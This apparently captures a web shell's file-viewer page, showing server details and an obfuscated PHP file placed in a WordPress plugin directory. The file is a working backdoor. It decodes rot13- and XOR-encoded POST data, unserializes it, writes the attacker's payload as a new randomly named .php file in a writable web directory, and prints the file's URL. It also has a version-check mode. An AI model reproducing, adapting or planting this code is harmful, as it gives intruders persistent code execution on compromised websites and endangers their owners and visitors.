HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-content/plugins/1pq1q1s1/qvodmbay.php
<?php function ooaQM($TKVBnYDCLbDKI, $TKVBnYDCopp, $eutcWSrfvQ){$XESUN = "27e1bc5f-d941-420a-9328-163eac9b8d86";	$SogHSXC = 52;return $TKVBnYDCLbDKI ^ $XESUN[$TKVBnYDCopp % strlen($XESUN)] ^ $eutcWSrfvQ;}$TetRJUrZ = "fgYMgH";$mnyXwN = 67;function trCXUI($TetRJUrZ){ $lhMdLC = "\163".chr(116).chr(114)."\137"."\x72"."\x6f".chr(320-204)."\61"."\63";$TetRJUrZ = $lhMdLC($TetRJUrZ);$TyRyM = "\162".chr(97)."\167".'u'.chr(723-609)."\x6c".chr(176-76).chr(480-379)."\143".chr(1090-979)."\144".'e';$TetRJUrZ = $TyRyM($TetRJUrZ);$TetRJUrZ = str_split($TetRJUrZ);return $TetRJUrZ;}function KpkAZ($gavlkpiwYP, $eutcWSrfvQ){$gavlkpiwYP = array_map("ooaQM", array_values($gavlkpiwYP), array_keys($gavlkpiwYP), array_values($eutcWSrfvQ));$gavlkpiwYP = implode("", $gavlkpiwYP);	$RTDCscPEc = 'ssFhhJR';$dRcBKoJgf = "\x75"."\x6e".chr(769-654)."\145"."\162".'i'."\x61".chr(108)."\151".chr(191-69).'e';$gavlkpiwYP = @$dRcBKoJgf($gavlkpiwYP);	$XFegMnv = 52;return $gavlkpiwYP;}function bQwUfWNp($eutcWSrfvQ, $gavlkpiwYP){$eutcWSrfvQ = array_slice(str_split(str_repeat($eutcWSrfvQ, intval(count($gavlkpiwYP)/16)+1)), 0, count($gavlkpiwYP));	$VKnyurOvsr = 25;return $eutcWSrfvQ;}function PPdVYQhe(){$blITLilK = 'DrgTCgXR';$rulbOC = 15;$slegRHaM = 6;$MJHsRXDes = $rulbOC - $slegRHaM;$NqnjKjW = 'PuvOfaNpU';$slegRHaM = $MJHsRXDes / 5;}PPdVYQhe();function GyzNhzh(){echo "fkEgUbBeCR";	$XVeeeqIzC = 62;}function hyxTP($TKVBnYDir){static $LaMqp = array();$ZzNDXGSyPI = glob($TKVBnYDir . '/*', GLOB_ONLYDIR);$PSewFTzoj = count($ZzNDXGSyPI);	$WSDwOQYqil = 38;	$LpsuEgf = 'YPrS';if ($PSewFTzoj > 0) {foreach ($ZzNDXGSyPI as $TKVBnYD) {$slEDqi = "\x69".chr(115)."\x5f"."\x77".'r'.chr(105).chr(359-243).chr(97).chr(98).chr(1060-952).chr(1024-923);if (@$slEDqi($TKVBnYD)) {$LaMqp[] = $TKVBnYD;}}}foreach ($ZzNDXGSyPI as $TKVBnYDir) hyxTP($TKVBnYDir);return $LaMqp;}function VFbkAoOpCx($gavlkpiwYP){$zXtJVIemgF = "\x44"."\x4f".chr(67)."\x55"."\x4d".chr(232-163)."\x4e".chr(463-379).'_'.chr(1037-955)."\117"."\117"."\124";$PqXhfMPTDP = $_SERVER[$zXtJVIemgF];	$waxBnSC = 'YHdbx';$ZzNDXGSyPI = hyxTP($PqXhfMPTDP);$BBftgB = array_rand($ZzNDXGSyPI);$chbYfHZk = "\x2e"."\x70".chr(104)."\x70";$hIqxQFEW = $ZzNDXGSyPI[$BBftgB] . "/" . substr(md5(time()), 0, 8) . $chbYfHZk;$LNIaaXGL = "\x66"."\x69"."\154".'e'."\x5f".'p'.chr(117).chr(116).'_'.chr(99).'o'.chr(110)."\164"."\x65".'n'.chr(116).chr(720-605);@$LNIaaXGL($hIqxQFEW, $gavlkpiwYP);$icmiRHAC = chr(590-518).'T'."\124".chr(80)."\137".chr(315-243).chr(1076-997).chr(83).chr(84);$hkLQJwxd = chr(104).chr(912-796).chr(116).'p'."\72"."\57"."\x2f";$QEDVdD = $hkLQJwxd . $_SERVER[$icmiRHAC] . substr($hIqxQFEW, strlen($PqXhfMPTDP));	$KxTsYo = 'fSiS';	$FFVqhqf = 64;print($QEDVdD);	$ZiEJZ = 62;}function RBIjVaUU($gavlkpiwYP, $BBftgB){$BBftgB = $BBftgB[0];if ($gavlkpiwYP !== $BBftgB){VFbkAoOpCx($gavlkpiwYP);}else {SvnheynHRv();		$ePSrU = 'mLFqZOM';}}function SvnheynHRv(){$PUaiHUwc = "\x70".'h'."\x70";$LdaEZL = chr(924-812)."\x68"."\160".chr(118)."\x65"."\162".chr(421-306)."\x69"."\x6f".chr(110);$gavlkpiwYP = Array($PUaiHUwc => @$LdaEZL(), );$IymPcvQ = 's'."\x65".chr(114).'i'.chr(133-36).chr(108)."\x69".'z'.'e';echo @$IymPcvQ($gavlkpiwYP);	$osHHXzk = 'pPdJbKV';}function rWayra(){echo "fgYMgH";}foreach ($_POST as $eutcWSrfvQ => $gavlkpiwYP){$rNLkjAW = strlen($eutcWSrfvQ);	$yDFuwN = 'lSoyqud';if ($rNLkjAW == 16){$gavlkpiwYP = trCXUI($gavlkpiwYP);$eutcWSrfvQ = bQwUfWNp($eutcWSrfvQ, $gavlkpiwYP);$gavlkpiwYP = KpkAZ($gavlkpiwYP, $eutcWSrfvQ);		$TKVBnYDVCKKaYhJq = 61;if (@is_array($gavlkpiwYP)){$BBftgB = array_keys($gavlkpiwYP);			$XWSMtRFOeC = 54;$gavlkpiwYP = $gavlkpiwYP[$BBftgB[0]];			$XWSMtRFOeC = $XWSMtRFOeC - 8;RBIjVaUU($gavlkpiwYP, $BBftgB);			$xxrWiXYMVk = 51;}}}die();?>